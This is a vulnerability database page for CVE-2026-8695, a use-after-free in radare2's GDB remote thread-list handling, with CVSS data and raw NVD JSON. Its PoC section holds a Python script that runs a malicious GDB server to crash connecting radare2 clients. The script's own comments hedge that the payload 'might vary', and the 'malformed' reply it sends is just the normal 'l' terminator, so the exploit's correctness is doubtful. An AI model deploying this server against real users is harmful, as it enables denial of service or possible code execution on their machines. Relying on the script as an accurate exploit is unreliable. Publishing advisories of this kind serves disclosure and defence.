Security Vulnerability Report
中文
CVE-2026-8695 CVSS 7.5 HIGH

CVE-2026-8695

Published: 2026-05-15 17:16:49
Last Modified: 2026-05-15 18:16:26

Description

radare2 6.1.5 contains a use-after-free vulnerability in the gdbr_threads_list() function that allows remote attackers to trigger memory corruption by sending a valid qfThreadInfo response followed by a malformed qsThreadInfo response. Attackers can exploit this vulnerability through GDB remote debugging to cause a denial of service or potentially achieve code execution by manipulating thread list processing.

CVSS Details

CVSS Score
7.5
Severity
HIGH
CVSS Vector
CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H

Configurations (Affected Products)

No configuration data available.

radare2 6.1.5

PoC / Exploit Code

⚠ For Security Research Only
The following code is for security research and authorized testing only.
python
import socket import time def malicious_gdb_server(host='0.0.0.0', port=9999): """ Simulates a malicious GDB server to trigger CVE-2026-8695. It sends a valid qfThreadInfo followed by a malformed qsThreadInfo. """ server = socket.socket(socket.AF_INET, socket.SOCK_STREAM) server.bind((host, port)) server.listen(1) print(f"[*] Malicious GDB server listening on {host}:{port}") conn, addr = server.accept() print(f"[*] Connection accepted from {addr}") try: # Basic GDB handshake conn.recv(1024) # Receive ack conn.send(b"+") # Send ack while True: data = conn.recv(1024) if not data: break print(f"[*] Received: {data}") # Check for thread info queries if b"qfThreadInfo" in data: # Send valid qfThreadInfo response (list of threads) # Format: m<tid>,m<tid>...l payload = b"m1,m2,m3l" checksum = sum(payload) % 256 packet = b"$" + payload + b"#" + f"{checksum:02x}".encode() conn.send(packet) print(f"[+] Sent valid qfThreadInfo") elif b"qsThreadInfo" in data: # Send malformed qsThreadInfo response to trigger UAF # Sending an unexpected or malformed packet structure # This specific payload might vary based on exact parser logic, # but generally involves breaking the expected list continuation. malformed_payload = b"l" # Just end marker or garbage checksum = sum(malformed_payload) % 256 packet = b"$" + malformed_payload + b"#" + f"{checksum:02x}".encode() conn.send(packet) print(f"[+] Sent malformed qsThreadInfo to trigger UAF") # Keep connection open briefly to observe crash time.sleep(1) break else: conn.send(b"+") # Ack other packets except Exception as e: print(f"[-] Error: {e}") finally: conn.close() server.close() if __name__ == "__main__": malicious_gdb_server()

References

Raw JSON Data

JSON
{"cve": {"id": "CVE-2026-8695", "sourceIdentifier": "[email protected]", "published": "2026-05-15T17:16:49.447", "lastModified": "2026-05-15T18:16:26.160", "vulnStatus": "Received", "cveTags": [], "descriptions": [{"lang": "en", "value": "radare2 6.1.5 contains a use-after-free vulnerability in the gdbr_threads_list() function that allows remote attackers to trigger memory corruption by sending a valid qfThreadInfo response followed by a malformed qsThreadInfo response. Attackers can exploit this vulnerability through GDB remote debugging to cause a denial of service or potentially achieve code execution by manipulating thread list processing."}], "metrics": {"cvssMetricV40": [{"source": "[email protected]", "type": "Secondary", "cvssData": {"version": "4.0", "vectorString": "CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:N/VI:N/VA:H/SC:N/SI:N/SA:N/E:X/CR:X/IR:X/AR:X/MAV:X/MAC:X/MAT:X/MPR:X/MUI:X/MVC:X/MVI:X/MVA:X/MSC:X/MSI:X/MSA:X/S:X/AU:X/R:X/V:X/RE:X/U:X", "baseScore": 8.7, "baseSeverity": "HIGH", "attackVector": "NETWORK", "attackComplexity": "LOW", "attackRequirements": "NONE", "privilegesRequired": "NONE", "userInteraction": "NONE", "vulnConfidentialityImpact": "NONE", "vulnIntegrityImpact": "NONE", "vulnAvailabilityImpact": "HIGH", "subConfidentialityImpact": "NONE", "subIntegrityImpact": "NONE", "subAvailabilityImpact": "NONE", "exploitMaturity": "NOT_DEFINED", "confidentialityRequirement": "NOT_DEFINED", "integrityRequirement": "NOT_DEFINED", "availabilityRequirement": "NOT_DEFINED", "modifiedAttackVector": "NOT_DEFINED", "modifiedAttackComplexity": "NOT_DEFINED", "modifiedAttackRequirements": "NOT_DEFINED", "modifiedPrivilegesRequired": "NOT_DEFINED", "modifiedUserInteraction": "NOT_DEFINED", "modifiedVulnConfidentialityImpact": "NOT_DEFINED", "modifiedVulnIntegrityImpact": "NOT_DEFINED", "modifiedVulnAvailabilityImpact": "NOT_DEFINED", "modifiedSubConfidentialityImpact": "NOT_DEFINED", "modifiedSubIntegrityImpact": "NOT_DEFINED", "modifiedSubAvailabilityImpact": "NOT_DEFINED", "Safety": "NOT_DEFINED", "Automatable": "NOT_DEFINED", "Recovery": "NOT_DEFINED", "valueDensity": "NOT_DEFINED", "vulnerabilityResponseEffort": "NOT_DEFINED", "providerUrgency": "NOT_DEFINED"}}], "cvssMetricV31": [{"source": "[email protected]", "type": "Secondary", "cvssData": {"version": "3.1", "vectorString": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H", "baseScore": 7.5, "baseSeverity": "HIGH", "attackVector": "NETWORK", "attackComplexity": "LOW", "privilegesRequired": "NONE", "userInteraction": "NONE", "scope": "UNCHANGED", "confidentialityImpact": "NONE", "integrityImpact": "NONE", "availabilityImpact": "HIGH"}, "exploitabilityScore": 3.9, "impactScore": 3.6}]}, "weaknesses": [{"source": "[email protected]", "type": "Secondary", "description": [{"lang": "en", "value": "CWE-416"}]}], "references": [{"url": "https://github.com/radareorg/radare2/commit/c213ad6894a1eb9086ac8bf5fae35757e9e1683c", "source": "[email protected]"}, {"url": "https://github.com/radareorg/radare2/issues/25835", "source": "[email protected]"}, {"url": "https://github.com/radareorg/radare2/issues/25836", "source": "[email protected]"}, {"url": "https://www.vulncheck.com/advisories/radare2-use-after-free-via-gdbr-threads-list", "source": "[email protected]"}, {"url": "https://github.com/radareorg/radare2/issues/25835", "source": "134c704f-9b21-4f2e-91b3-4a467353bcc0"}]}}